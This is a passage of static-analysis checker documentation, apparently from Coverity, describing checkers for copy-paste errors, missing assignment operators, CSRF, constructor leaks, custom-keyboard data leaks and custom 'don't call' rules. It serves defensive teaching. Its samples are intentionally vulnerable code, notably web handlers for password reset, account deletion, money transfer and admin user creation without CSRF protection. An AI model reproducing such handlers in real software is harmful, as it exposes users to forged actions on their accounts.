}function baz1($a, $b) {
if ($a && $b) {
$x = $x + $z;
}
if ($a && $b) {
$y = $x + $z; // A COPY_PASTE_ERROR here
}
}def baz1(a, b):
if (a and b):
x = x + z
if (a and b):
y = x + z # A COPY_PASTE_ERROR heredef copyPasteError(user, topic)
topic_id = topic.is_a?(Topic) ? topic.id : 0
user_id = user.is_a?(User) ? topic.id : 0 # A COPY_PASTE_ERROR here
# "topic.id" should read "user.id"
endclass TestCopyPasteError {
def foo(p : Int) : Boolean = { return true }
def bar(p : Int) : Boolean = { return true }
def stuff() = {}
def example(key1 : Int, key2 : Int) {
if (foo(key1) && bar(key1)) {
stuff()
}
if (foo(key2) && bar(key1)) { // COPY_PASTE_ERROR defect
stuff()
}
}
}COPY_WITHOUT_ASSIGN reports many cases where a class has at least one user-written copy constructor but lack a user-written assignment operator. In order to be considered as an assignment operator for the purposes of this rule an assignment operator must be usable to assign the entire object. Private copy constructors are assumed not to be meant for use and do not imply the need for an assignment operator, although if the copy constructor is private it would be best to also have a private assignment operator.
This rule does not require that the class own any resources, so it may report classes that have no actual need for an assignment operator. It is also possible that objects of a given class are never assigned, in which case even if the class does own resources no actual bugs may result from not having an assignment operator.
Disabled by default: COPY_WITHOUT_ASSIGN is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
This section provides one or more COPY_WITHOUT_ASSIGN examples.
A simple string wrapper class:
class MyString {
char *p;
public:
MyString(const char *s) : p(strdup(s)) {}
~MyString() {free(p);}
// copy constructor
MyString(const MyString &init) : p(strdup(init.p)) {}
// no assignment operator
const char *str() const {return p;}
operator const char *() const {return str();}
};Assigning a MyString object will eventually result in a use-after-free error due to multiple objects inadvertently sharing the same string buffer.
Supported Languages: C#, Java, JavaScript, Visual Basic, Python
CSRF finds cross-site request forgery (CSRF) vulnerabilities by identifying controller entry points that modify the server state, and it reports a defect when the entry point is not secured by a recognized CSRF protection scheme.
CSRF is an attack that exploits a web client's authenticated session to perform unwanted actions on a remote server. Typically, a user will unknowingly load a malicious web page that initiates requests with side effects. Because user cookies accompany requests to the site, active session identifiers also accompany the malicious request. This is the case even if the request originates from content in another site.
On the server, a successful CSRF attack is exceedingly difficult to detect and distinguish from a legitimate action performed by the user. Both transactions originate from the user's browser, and both transactions include proper session identifiers. Recovery from a CSRF attack is equally difficult.
The suggested strategy for preventing CSRF attacks is the use of the synchronizer token pattern. A synchronizer token is a pseudo-random (or otherwise unpredictable) value that is generated by the server for each user session. For any form submission or action that affects the server state of the user, the token is included as a hidden field and passed as an HTTP request parameter. The server then checks that each one of these requests has a valid and active token. Because the tokens live inside the local page content, they are not accessible to malicious scripts that are running on other sites.
Implementing this CSRF prevention strategy requires several processes:
Generating cryptographically secure tokens and caching them for the lifetime of the user sessions.
Modifying all forms and JavaScript callbacks to include the token in their requests.
Checking that all requests that modify the server state include a synchronizer token that is valid for the associated user. The CSRF checker focuses on this process.
The CSRF checker recognizes several ways of rejecting requests with missing or invalid synchronizer tokens:
Validator method calls - If a validator function call is used to check the synchronizer token, the checker will report unprotected controller request handler methods where this validation should be performed.
The checker will attempt to automatically identify validator methods. You can explicitly identify or tune the validator
methods; see "Customizing the checker" and the
validator checker option.
Java servlet filters - If a servlet filter is used to check the synchronizer token, the checker can identify specific access paths and HTTP request method handlers that should be protected but are not. The checker reports a defect if a URI access path of a controller method falls outside of the URL mapping of the filter. A defect is also reported if the method services HTTP request method verbs that are not protected by the filter. This URI and request method-specific analysis is supported for the following technologies:
Java servlets
Spring MVC 3.0
The checker also includes built-in support for several filters, including Spring Security CSRF protection (introduced in version 3.2) and the OWASP CSRFGuard library.
ASP.NET Site.Master pages - In an ASP.NET Web Form, the checker
recognizes the use of a Site.Master page with a synchronizer token
check in the master_Page_PreLoad event handler.
ASP.NET MVC ValidateAntiForgeryToken filter attributes - In an
ASP.NET MVC application, the checker recognizes the use of the
System.Web.Mvc.ValidateAntiForgeryTokenAttribute class through
the [ValidateAntiForgeryToken] filter attribute.
ASP.NET MVC custom FilterAttribute classes - The checker
recognizes the use of custom filter classes to protect request handlers from
cross-site request forgery.
Express middleware modules - In a Node.js web application using Express, the checker recognizes the use of CSRF protection middleware (csurf).
Disabled by default: CSRF is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CSRF
along with other Web application checkers,
use the --webapp-security
option.
Python support: Security checkers are supported for Python 2.7.x only.
A CSRF defect describes how an entry point modifies the server state of the Web application when that entry point is not secured by a CSRF protection scheme. The defect path first shows the entry point that is invoked to serve the vulnerable Web application request. From there, the events in the defect show the path from the entry point to an action that modifies the state of the Web application. This action could make modifications to the filesystem or update the database.
For .NET and Java, events will also provide information about existing CSRF protection
schemes that could be used to secure the vulnerable entry point. The
example_csrf_check event will provide an example from elsewhere in the
code that shows how a validator method is used. The insufficient_filtering
event indicates that an available CSRF filter does not cover the entry point that
requires protection. A no_protection_scheme event indicates that the
checker was not able to identify any CSRF protection in the entire application.
This section provides one or more CSRF examples.
Custom filter does not protect URI mapping: A filter might have a URI mapping that does not cover a vulnerable entry
point. In the following example, a WEB-INF/web.xml file in
an emitted Web application (web-app) describes a servlet mapping to a URI that
is outside of the pattern protected by the filter:
<servlet> <servlet-name>UpdatePasswordServlet< /servlet-name> <servlet-class>com.coverity.UpdatePasswordServlet </servlet-class> </servlet> <servlet-mapping> <servlet-name>UpdatePasswordServlet</servlet-name> <url-pattern>/update_password</url-pattern> </servlet-mapping> <filter> <filter-name>CSRFFilter</filter-name> <filter-class>com.coverity.CSRFFilter</filter-class> </filter> <filter-mapping> <filter-name>com.coverity.CSRFFilter</filter-name> <url-pattern>/safe/*</url-pattern> </filter-mapping>
If the UpdatePasswordServlet servlet relies on user credentials and
modifies the Web application state, a CSRF attacker might exploit those credentials.
Here, the user password could be reset without the user's consent.
class UpdatePasswordServlet extends HttpServlet {
private PasswordService passwordService;
public void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, java.io.IOException
{
HttpSession sess = req.getSession();
if (sess) {
String user = (String)sess.getAttribute("user");
String new_password = req.getParameter("new_password");
passwordService.updatePassword(user, new_password);
}
}
}Custom filter does not protect GET requests: A servlet filter might be implemented to protect only certain HTTP request methods (for example, POST). Exploitable entry points might continue to be accessible using other request methods.
In the following example, the custom servlet filter MyCsrfFilter is
implemented to protect POST requests by validating the synchronizing token for the
request.
class MyCsrfFilter implements javax.servlet.Filter {
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain)
throws ServletException, java.io.IOException
{
if (req instanceof HttpServletRequest) {
HttpServletRequest hreq = (HttpServletRequest)req;
// CSRF check
if (hreq.getMethod().equals("POST")) {
if (!validCSRFToken(hreq)) { throw new ServletException(); }
}
}
chain.doFilter (req, resp);
}
// (other interface methods not shown)
}Consider the following Spring MVC 3.0 entry point,
MyController.deleteAccount. Assume that it is protected by an
authorization check that is implemented as a servlet filter (not shown).
@Controller
class MyController {
private AccountService accountService;
@RequestMapping("/deleteAccount")
public String deleteAccount(@RequestParam("user") String user)
{
accountService.deleteUser(user);
return "successView.jsp";
}
}Even if MyCsrfFilter is mapped to cover the URI
/deleteAccount, the controller is still vulnerable to a
CSRF attack because it can be accessed with a GET request. (This is the default for
Spring @RequestMapping annotations.)
Custom validator is missing: A call to a custom synchronizer token validator method can be missing for a
vulnerable entry point. In the following example, the CSRF protection is
implemented using an ad hoc validation scheme. The synchronizing token is
checked using the method CsrfService.validateToken. The Apache
Struts UpdateProfileAction.execute controller is protected, but the
AdminSettingsAction.execute is not. (An administrator-level
user is equally vulnerable to CSRF attacks, with potentially far more severe
consequences.)
public class UpdateProfileAction extends org.apache.struts.action.Action {
private ProfileDao profileDao;
private CsrfService csrfService;
public ActionForward execute(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception
{
// check CSRF token
if (!csrfService.validatetoken(request)) {
return mapping.findForward("unauthorized");
}
// store new profile in the database
profileDao.storeProfile((UpdateProfileForm)form);
return mapping.findForward("success");
}
}
public class AdminSettingsAction extends org.apache.struts.action.Action {
private AdminService adminService;
public ActionForward execute(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception
{
// store new settings in the database
adminService.updateSettings((AdminSettingsForm)form);
return mapping.findForward("success");
}
}Spring Security CSRF Filter: Spring Security offers CSRF protection in version 3.2 that by default only protects controllers that serve POST, PUT, or DELETE requests. In the Spring security XML context file shown below, the CSRF protection has been enabled.
<sec:http auto-config="true"> <sec:intercept-url pattern="/**" access="ROLE_USER" /> <sec:csrf /> </sec:http>
The following servlet method is not protected because it serves HTTP GET requests.
class BankServlet extends HttpServlet {
public void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, java.io.IOException
{
HttpSession sess = req.getSession();
if (sess) {
transferMoney((Long)sess.getAttribute("userid"),
(String)req.getParameter("amount"));
}
}
private void transferMoney(Long userid, String amount) {
// update user's financial record in database
}
}OWASP csrf-guard Filter: OWASP csrf-guard tool can be configured to whitelist certain URI access paths
and certain HTTP request methods. These configurations are specified in its
Owasp.CsrfGuard.properties file. In this example, the
org.owasp.csrfguard.CsrfGuardFilter servlet filter has been
mapped to all URIs, and the properties file contains the following
configurations:
# Protected Methods # org.owasp.csrfguard.ProtectedMethods=POST,PUT,DELETE # Unprotected Pages: # org.owasp.csrfguard.unprotected.Admin=/admin/*
Below, neither of the two Spring MVC 3.0 controller methods are protected. The
following method, UserController.updatePhone, is vulnerable because it
serves HTTP GET requests.
@Controller
class UserController {
private UserService userService;
@RequestMapping("/admin/set_priv", method = RequestMethod.POST)
public void updatePhone(HttpServletRequest req,
@RequestParam("phone") String phone) {
HttpSession sess = req.getSession();
if (sess) {
// update user's phone number...
userService.setPhone(sess.getAttribute("user"), phone);
}
}The next method, AdminController.addUser, is vulnerable because it is
accessible through a whitelisted URI.
@Controller
class AdminController {
private UserService userService;
@RequestMapping("/admin/set_priv", method = RequestMethod.POST)
public void addUser(HttpServletRequest req)
throws AccessException
{
HttpSession sess = req.getSession();
if (sess) {
// verify that the user's session has admin privledges
Privledges p = (Privledges)sess.getAttribute("privledges");
if (!p.hasAdmin()) {
throw new AccessException("No admin privledges");
}
// update the database with a new user and password
userService.addUser(req.getParameter("new_user"),
req.getParameter("new_password"));
return "newUserSuccess.jsp";
}
return "login.jsp";
}An ASP.NET MVC Controller: In the following example, there are two MVC controller methods. Both update
the database and have side effects. The ASP.NET MVC
System.Web.Mvc.ValidateAntiForgeryTokenAttribute authorization
filter is protecting the UpdateAppleCount request handler, but
UpdateOrangeCount remains vulnerable to cross-site request
forgery attacks.
using System;
using System.Web;
using System.Web.Mvc;
namespace MyApp {
public class MyController : Controller {
FruitDatabase db;
[ValidateAntiForgeryToken]
public ActionResult UpdateAppleCount() {
// Protected using MVC's
// System.Web.Mvc.ValidateAntiForgeryTokenAttribute
db.UpdateAppleInventory(Request);
return View("success");
}
public ActionResult UpdateOrangeCount() {
// Vulnerable to CSRF!
db.UpdateOrangeInventory(Request);
return View("success");
}
}
}An Express Node.js Web Application: The application starts with initial setup of the Express app object, mounting the "body-parser" middleware (to parse incoming request bodies) and the "cookie-parser" middleware (to parse the CSRF token).
var app = require('express')();
app.use(require('body-parser').urlencoded({ extended: false }));
app.use(require('cookie-parser')());The application then sets up a listener for connections on port 3000 and establishes a MongoDB database connection.
var database;
var MongoClient = require("mongodb").MongoClient;
var Server = require('mongodb').Server;
app.listen(3000, function() {
var mongoclient = new MongoClient(new Server("localhost",27017), {native_parser:true});
database = mongoclient.db("myDatabase");
console.log("Listening on post 3000.");
});The application then sets up the csurf middleware and routes HTTP GET requests to
the path "/form". In this HTTP GET request, the response includes 2 virtually
identical <form> elements that serve POST requests. They differ in
the paths where the data gets sent ("/processWithProtection" versus
"/processNoProtection"). For each <form> element, the csurf
middleware function req.csrfToken() generates a token whose value is added to the
hidden form field "_csurf".
var csrfProtection = require('csurf')({ cookie: true });
app.get("/form", csrfProtection, function(req, res) {
res.send(
"<form action='/processWithProtection' method='POST'>" +
"<input type='hidden' name='_csrf' value='" + req.csrfToken() + "'>" +
"Remove Jack from database? " +
"<button type='submit'>Remove</button>" +
"</form>" +
"<form action='/processNoProtection' method='POST'>" +
"<input type='hidden' name='_csrf' value='" + req.csrfToken() + "'>" +
"Remove Jill from database? " +
"<button type='submit'>Remove</button>" +
"</form>");
});The application then registers 2 HTTP POST requests to handle the paths "/processWithProtection" and "/processNoProtection". Both of the POST requests remove a user from the database. The POST request for the path "/processWithProtection" uses CSRF protection middleware (csurf), supressing a CSRF defect from being reported. The POST request for the path "/processNoProtection" does not use the csurf middleware. Even though the token is provided to this POST request, not using the csurf middleware means the token will not be validated against the visitor's session or csurf cookie (depending on how the csurf middleware was set up). This results in a CSRF defect being reported for this entry point.
app.post('/processWithProtection', csrfProtection, function(req, res) {
res.send("Jack removed from database.");
database.removeUser("Jack");
});app.post('/processNoProtection', function(req, res) {
res.send("Jill removed from database.");
database.removeUser("Jill");
});For additional JavaScript examples using the csrf_check_needed and csrf_validator
directives, see
"csrf_check_needed directive"
and
"csrf_validator directive"
.
A button in an ASP .NET Web Forms (ASPX) page invokes a server-side event handler that updates the server database when the button is clicked.
<asp:button runat="server" id="MyButton" OnClick="OnActionHandler" />
If the event is handled on the server and the page life-cycle event handlers fail to check for the presence of a valid anti-forgery token, then the server will be vulnerable to a CSRF attack.
Imports System.Web.UI
' There is no anti-forgery token check here or in a MasterPage.
Class ShoppingPage
Inherits System.Web.UI.Page
' CSRF defect is reported here!
Sub OnActionHandler(sender as object, e as EventArgs)
UpdateDatabase() ' executes a SQL update
End Sub
End Classfrom sqlalchemy import Table, create_engine, MetaData, create_engine, Column, String, Integer
from flask import Flask
engine = create_engine(db_location)
metadata = MetaData()
fruit_tbl = Table('fruit_count', metadata,
Column('id', Integer, primary_key=True),
Column('name', String),
Column('count', Integer)
)
metadata.create_all(engine)
connection = engine.connect()
def update_fruit_count(name, newCount):
updObj = fruit_tbl.update().values(count=newCount).where(fruit_tbl.c.name == name)
connection.execute(updObj)
fruit_tracker = Flask(__name__)
# Update apple count
@fruit_tracker.route('/apple_update/', method=('GET', 'POST'))
def apple_update():
if request.method == 'GET':
newCount = request.args.get('count')
else:
newCount = request.form.get('count')
update_fruit_count('apple', newCount)
# Update orange count
@fruit_tracker.route('/orange_update/', method=('GET', 'POST'))
@csrf.exempt
def orange_update():
if request.method == 'GET':
newCount = request.args.get('count')
else:
newCount = request.form.get('count')
update_fruit_count('orange', newCount)
if __name__ == '__main__':
fruit_tracker.run()
This section describes one or more CSRF options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
CSRF:filter:<filter_class> - This option lists fully-qualified class names of your CSRF filters. One or more values are permitted. Default is unset (C#, Java, Visual Basic). If this option is unspecified, a
set of built-in heuristics will be used to automatically identify the filter
classes; if the option is specified, these heuristics will be
disabled.
In Java Web applications, servlet filter classes are mapped to request
handlers through the URL mappings specified in the Web application's
web.xml file.
In ASP.NET MVC applications, FilterAttribute classes are mapped
to request handlers through attributes on the MVC Controller classes or
methods.
CSRF:http_method_blacklist:<HTTP_request_methods>
- This option lists HTTP request methods for
which CSRF defects will be reported, even if they are covered by a filter. One
or more values are permitted. If the behavior of a filter is too complex,
blacklisting allows its method-specific coverage to be manually specified. The
valid (case-insensitive) values are GET, POST, PUT, DELETE, HEAD, OPTIONS,
TRACE, CONNECT. Default is unset (Java
only).
CSRF:http_method_whitelist:<HTTP_request_methods>
- This option lists HTTP request methods for
which CSRF defects will be suppressed. One or more values are permitted. If the
filter cannot be detected or is too complex, whitelisting allows its
method-specific coverage to be manually specified. The valid (case-insensitive)
values are GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT. Default is unset (Java only).
CSRF:report_all_required_checks:<boolean> -
If this option is set to true, the
checker will ignore any existing CSRF protection and report defects at all entry
points that should be protected. Defaults to
CSRF:report_all_required_checks:false (all
languages)
CSRF:report_database_updates:<boolean> - If
this option is set to false, the
checker will not treat database updates as evidence that protection from CSRF is
required and will not report defects on the updates. Defaults to
true, meaning that the checker will report such updates as
defects by default. Defaults to
CSRF:report_database_updates:true (all
languages)
CSRF:report_filesystem_modification:<boolean>
- If this option is set to true,
the checker will treat modifications to the filesystem as evidence that
protection from CSRF is required and will report defects on the modifications.
Defaults to
CSRF:report_filesystem_modification:false (all
languages)
This checker option is automatically set to true if the
--webapp-security-aggressiveness-level option of the
cov-analyze command is set to high.
CSRF:report_unknown_urls:<boolean> - If this
option is set to true, the
checker will report defects at entry points whose URI mapping could not be
determined but where the URI is required to determine filter coverage. Defaults to
CSRF:report_unknown_urls:false (Java only)
When false, these entry points are ignored.
CSRF:url_whitelist:<URLs> - This option lists URLs for which CSRF defects will be suppressed. One or more values are permitted. If the filter cannot be detected
or is otherwise too complex, this option allows its URL coverage to be manually
specified. Default is unset (Java
only).
CSRF:validator:<validator_methods> - This
option lists fully-qualified method names
of your CSRF validator methods. The method can be specified with or without
parameters and will be matched accordingly. Default
is unset (C#, Java, Visual Basic). If the option is unspecified, a set of
built-in heuristics will be used to automatically identify the validator
method; if the option is specified, these heuristics will be
disabled.
You can help the CSRF checker identify methods that require CSRF protection with the following model primitives (for Java and .NET) and directive (for JavaScript). The database versus filesystem distinction (see below) affects the wording of event messages and whether the report_database_updates or report_filesystem_modification checker options affect the indicated functions; also, the CSRF checker prefers to report defects based on the database variations if both are present.
Model primitives are in the com.coverity.primitives.SecurityPrimitives package. From the model for a function that requires a CSRF check, call SecurityPrimitives.csrf_check_needed_for_db_update()
Model primitives are in the Coverity.Primitives.Security namespace. From the model for a function that requires a CSRF check, call Security.CSRFCheckNeededForDBUpdate() to indicate that the function requires a CSRF check because it updates a database; call CSRFCheckNeededForFileModification() to indicate that it requires the check because it updates the filesystem.
Use the csrf_check_needed directive with the csrf_check_needed field set so as to identify calls to the function that requires a CSRF check. Set the update_type field to "database" to indicate that the matching function calls require a CSRF check because they update a database; set it to "filesystem" to indicate that they require the check because they update the filesystem. See "csrf_check_needed directive".
The following .NET-only primitive identifies a method that validates an anti-forgery token and protects against CSRF attacks. Defects will be suppressed in any direct caller of the modelled method.
Coverity.Primitives.Security.CSRFValidator()
To create a Java model that suppresses defect reports, see Section 6.3.1.6, “Suppressing defect reports on a method”.
For JavaScript, use the csrf_validator directive to identify a function that provides protection against CSRF attacks. See "csrf_validator directive".
CTOR_DTOR_LEAK finds many instances where a constructor allocates memory and stores a pointer to it in an object field but the destructor does not free the memory.
This checker and RESOURCE_LEAK catch a complementary set of memory leak defects.
To suppress a false positive, add a destructor statement that frees the field.
Enabled by default: CTOR_DTOR_LEAK is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more CTOR_DTOR_LEAK examples.
struct A {
int *p;
A() { p = new int; }
~A() { /*oops, leak*/ }
};This section describes one or more events produced by the CTOR_DTOR_LEAK checker.
alloc_fn: Where memory is allocated.
var_assign: Allocated memory is copied among local
variables.
value_flow: Allocated memory is copied by flowing through a
function that returns one of its arguments.
ctor_dtor_leak: Reports where allocated memory is assigned to a
class field but not freed in the destructor.
CUSTOM_KEYBOARD_DATA_LEAK finds cases where the optional delegate function is not implemented. It also identifies issues where the implemented function fails to perform code checking for the keyboard's extension point identifier.
Custom keyboards can intercept and leak sensitive data: assuming they evade
security review, are installed, and are granted permissions to communicate over the
network. The Operating System does not allow custom keyboards on secure text fields, so
those fields are protected by default. For other fields that may contain sensitive data,
applications can prevent the use of custom keyboards by implementing an optional
function in a class that implements the UIApplicationDelegate
protocol.
Enabled by default: CUSTOM_KEYBOARD_DATA_LEAK is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
An CUSTOM_KEYBOARD_DATA_LEAK defect shows when controls for disabling custom keyboard control is not implemented.
This section provides one or more CUSTOM_KEYBOARD_DATA_LEAK examples.
This example implements the application:shouldAllowExtensionPointIdentifier:
delegate function but does not return false for custom keyboards:
class AppDel : NSObject, UIApplicationDelegate
{
// CUSTOM KEYBOARD DATA LEAKAGE here
func application(
_ application : UIApplication,
shouldAllowExtensionPointIdentifier : UIApplicationExtensionPointIdentifier)
-> Bool
{
return true
}
}Supported Languages: C, C++, C#, Java, Objective-C, Objective-C++
Coverity Analysis provides
some DC.* (Don't Call) checkers (see Section 4.72, “DC.STREAM_BUFFER”,
Section 4.73, “DC.STRING_BUFFER”, and Section 4.74, “DC.WEAK_CRYPTO”) that you can use in your analyses. You
can also create DC.CUSTOM_* checkers with a JSON configuration file that you call by
using the --dc-config <file.json> option to
cov-analyze.
Top-level fields: The top-level fields in the JSON configuration file for this checker are the same as those described in Section E.1.4.1, “Top-level value” for Web application security configuration files. Please note the important requirement and recommendation in that section.
Directives: The configuration file requires the following directives:
For defining new checkers: A directive specifies the checker name, for
example: "dc_checker_name" : "DC.CUSTOM_MY_CHECKER"
For adding a method to a checker: The first directive identifies the
method set for the checker, for example:
"method_set_for_dc_checker" : "DC.CUSTOM_MY_CHECKER",.
The other directive identifies the methods in the method set; for
example: "methods" : { "named" : "strcmp" }, where
strcmp is the method name.
For a custom defect message for methods in a
method_set_for_dc_checker:
txt_defect_message for the named function in the method
set.
For proper usage, see this directive in Example 2.
For custom remediation advice for methods in a
method_set_for_dc_checker:
txt_remediation_advice for the named function in the
method set.
For proper usage, see this directive in Example 2.
To change the checker properties (metadata that can appear in columns, filter lists, or other places in the Coverity Connect UI), you can use the following directives:
antecedent_checker: String that specifies a
checker name. You only use this property if you change the name
of a certain checker and want to preserve existing triage
results for that checker in Coverity Connect. There are two use cases for
this property:
When migrating from SECURE_CODING to a DC.CUSTOM_*
checker, you specify SECURE_CODING. See
Section 4.69.2, “Models”.
When renaming a DC.CUSTOM_* checker, you specify the old name of the checker.
"new_issue_type" is an optional field that takes
a IssueTypeDefinition value that
describes the sort of issues that this checker reports. This
field replaces the deprecated "category",
"cwe", "impact",
"kind", "local_effect",
"long_description", and "type"
fields. The fields of this IssueTypeDefinition object are all
optional in this context. Missing fields default to the
following values. If both the "new_issue_type"
field and the field it replaces are both absent, the default
values below all apply.
type: "USER." then the name of your
checker
name: "Calling risky function."
description: "The called function is
unsafe for security related code."
local_effect: "May result in a security
violation."
impact: "Low"
category: "Security best practices
violations"
quality_kind: false
security_kind: true
cwe: 676
Example 3 (see below) uses the "new_issue_type"
field.
Deprecated fields: These fields have been replaced with the "new_issue_type" field and
are deprecated; future directives versions will not support them.
"local_effect", "impact", "category",
"cwe": These fields are deprecated. See the documentation of
the correspondingly named fields of IssueTypeDefinition
"long_description": This field is deprecated. See the
documentation for the "description" field of
IssueTypeDefinition
"type": This field is deprecated. See the documentation for the
"name" field of IssueTypeDefinition (note: this deprecated
"type" field is unrelated to the "type" field of
IssueTypeDefinition)
"kind": This field is deprecated. See the documentation for the
"quality_kind" and "security_kind" fields of IssueTypeDefinition and
the discussion of migration below. Valid values for this property:
"security" (for security issues), "quality" (for
quality issues), or "both" (for security and quality
issues).
To migrate away from using the deprecated fields to the "new_issue_type"
field that replaces them, proceed as follows.
Ensure that your directives file has a format_version of at least
8.
Add a "new_issue_type" field containing a JSON object to your
checker definition.
Move your "category", "cwe", "impact",
"local_effect", "long_description", and
"type" fields into this new object, but rename
"long_description" to "description" and rename
"type" to "name". If you omitted any of these
fields (and thus used the default values), there's no need to create them; the
defaults will remain the same.
Set the "quality_kind" and "security_kind" fields of
"new_issue_type" according to your old "kind"
field.
"kind" : "quality" translates to
"quality_kind": true, "security_kind":
false
"kind" : "security" translates to
"quality_kind": false, "security_kind":
true
"kind" : "both" translates to
"quality_kind": true, "security_kind":
true
Remove your old "kind" field.
Optionally, add a "type" field of "new_issue_type".
Example 1: Each new DC.CUSTOM_* checker requires at least one method.
{
"type" : "Coverity analysis configuration",
"format_version" : 11,
"language" : "C-like",
"directives" : [
{
"dc_checker_name" : "DC.CUSTOM_MY_CHECKER",
},
{
"method_set_for_dc_checker" : "DC.CUSTOM_MY_CHECKER",
"methods" : { "named" : "strcmp" },
},
]
}Example 2: Now assume that you want to define two custom checkers: DC.CUSTOM_MY_CHECKER
(which reports calls for three methods, strcmp, strcat,
and mybadfunc) and DC.CUSTOM_ANOTHER_CHECKER (which reports calls to
memmove). In this case, the configuration file needs to define a
dc_checker_name for each checker. For each method, the
configuration needs to define a method_set_for_dc_checker and add the
named method to a DC.CUSTOM_* checker. The method_set_for_dc_checker
directives can appear in any order, so long as they follow the declaration of the
checker to which they refer.
{
"type" : "Coverity analysis configuration",
"format_version" : 11,
"language" : "C-like",
"directives" : [
{
"dc_checker_name" : "DC.CUSTOM_MY_CHECKER",
},
{
"dc_checker_name" : "DC.CUSTOM_ANOTHER_CHECKER",
},
{
"method_set_for_dc_checker" : "DC.CUSTOM_MY_CHECKER",
"methods" : { "named" : "strcmp" },
},
{
"method_set_for_dc_checker" : "DC.CUSTOM_MY_CHECKER",
"methods" : { "named" : "strcat" },
},
{
"method_set_for_dc_checker" : "DC.CUSTOM_MY_CHECKER",
"methods" : { "named" : "mybadfunc" },
"txt_defect_message" : "Very bad function. Do not call mybadfunc again!",
"txt_remediation_advice" : "Use mygoodfunc instead of mybadfunc.",
},
{
"method_set_for_dc_checker" : "DC.CUSTOM_ANOTHER_CHECKER",
"methods" : { "named" : "memmove" },
},
]
}Example 3: The following example shows how to modify checker properties described above.
{
"type" : "Coverity analysis configuration",
"format_version" : 11,
"language" : "C-like",
"directives" : [
{
"dc_checker_name" : "DC.CUSTOM_MY_CHECKER",
//antecedent_checker used here to rename SECURE_CODING.
"antecedent_checker" : "SECURE_CODING",
"new_issue_type": {
"type" : "do_not_call_strcmp",
"name" : "Custom type",
"description" : "Custom long description",
"local_effect" : "Custom local effect",
"category" : "Custom category",
"cwe" : 123,
"impact" : "high",
"quality_kind" : true,
"security_kind" : true
}
},
{
"method_set_for_dc_checker" : "DC.CUSTOM_MY_CHECKER",
"methods" : { "named" : "strcmp" },
},
]
}![]() | Valid checker names |
|---|---|
As with all Coverity checker names, your custom checker names must be completely capitalized, for example, DC.CUSTOM_MY_CHECKER or DC.CUSTOM_MYCHECKER, not DC.Custom_My_Checker or DC.Custom_myChecker. The checker name must begin with DC.CUSTOM_ followed by a unique name of your choice. |
Method name specification
The method name for C is the base name.
You can use the internal mangled name of the C++, C#, or Java function, which
you can get through the
cov-find-function
command. To
discover the name, write source that defines a method like the one you want to
match, then use
cov-make-library -of <some file> <source> followed
by
cov-find-function --user-model-file <some file> <function's identifier>,
which will print the name you need to match.
For C++, you can provide the full name for the function, including scope and
parameters. For example, for a method mymethod(char *) in
class MyClass, you use the following:
"MyClass::myMethod(char *)"
However, note that when you specify the full name, qualifiers such as
const should come after the type name. For
example, assume the following:
namespace NS {
struct S1 { };
struct S2 {
void func(volatile const S1 * const &) { }
};
}Here, the function func must be identified as follows:
NS::S2::func(NS::S1 const volatile * const &)
For Java and C#, you need to use the fully qualified name. For example, to add
void println(String) in Java to the checker
DC.CUSTOM_MYJAVA_CHECKER, you use the following directive:
{
"method_set_for_dc_checker" : "DC.CUSTOM_MYJAVA_CHECKER",
"methods" : { "named" : "java.io.PrintStream.println(java.lang.String)void" },
},To add the method void WriteLine(String) in C# to the checker
DC.CUSTOM_MYCSHARP_CHECKER, you use the following directive:
{
"method_set_for_dc_checker" : "DC.CUSTOM_MYCSHARP_CHECKER",
"methods" : { "named" : "System.Console::WriteLine(System.String)System.Void"},
},You can migrate existing models for SECURE_CODING to a DC.CUSTOM_CHECKER
configuration. The
--make-dc-config
option to
cov-make-library is used to extract uses of
__coverity_secure_coding_function__ in the source code and generate a
JSON configuration file containing method names and defect messages. This file can be
manually edited afterwards, for example, to use more precise checker names for certain
groups of methods.
The following example assumes that a user model for the function
my_malloc() is defined in my-malloc.c.
void* malloc(unsigned n);
void *my_malloc(unsigned n) {
__coverity_secure_coding_function__("buffer overflow","your code is bad",
"this is how you fix it","VERY RISKY");
return malloc(n);
}Running the following command produces a config.json file:
> cov-make-library --make-dc-config -of config.json my-malloc.c
The content of the produced config.json:
{
"type" : "Coverity analysis configuration",
"format_version" : 11,
"language" : "C-like",
"directives" : [
{
"dc_checker_name" : "DC.CUSTOM_CHECKER",
"antecedent_checker" : "SECURE_CODING"
},
{
"method_set_for_dc_checker" : "DC.CUSTOM_CHECKER",
"methods" : { "named" : "my_malloc" },
"txt_defect_message" : "[VERY RISKY]. Using my_malloc can cause a
buffer overflow when done incorrectly. your code is bad.",
"txt_remediation_advice" : "this is how you fix it",
},
]
}Note that for this use case, the antecedent_checker property must
specify SECURE_CODING. For the dc_checker_name property, you can
replace the "CHECKER" portion of the checker name (shown in the example) with any unique
(and completely capitalized) checker name you prefer, but that name must match the one
you specify for the method_set_for_dc_checker property.
To use the configuration in the analysis, you need to pass the JSON file to the
--dc-config
option of
cov-analyze. This option enables all of the DC.CUSTOM_* checkers
that are specified in the JSON file. You can disable these checkers individually with
the --disable <checker-name> option.
DC.DANGEROUS detects unsafe calls to the deprecated
stop() methods from java.lang.Thread and
java.lang.ThreadGroup. It also detects calls to
java.lang.Thread.destroy() because the method is not implemented,
contrary to what a developer using that method might believe. Furthermore, calls to
java.io.ObjectOutputStream$PutField.write(java.io.ObjectOutput) are
detected because the calls might corrupt serialization streams.
![]() | |
To create your own DC.* checker, see Section 4.69, “DC.CUSTOM_CHECKER”. |
Enabled by default: DC.DANGEROUS is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
DC.DEADLOCK detects deadlock-prone calls to the deprecated
methods suspend() and resume() from
java.lang.Thread and java.lang.ThreadGroup. In addition,
calls to java.lang.Thread.countStackFrames() and
java.lang.ThreadGroup.allowThreadSuspension(boolean) are detected
because they depend on suspend() methods.
![]() | |
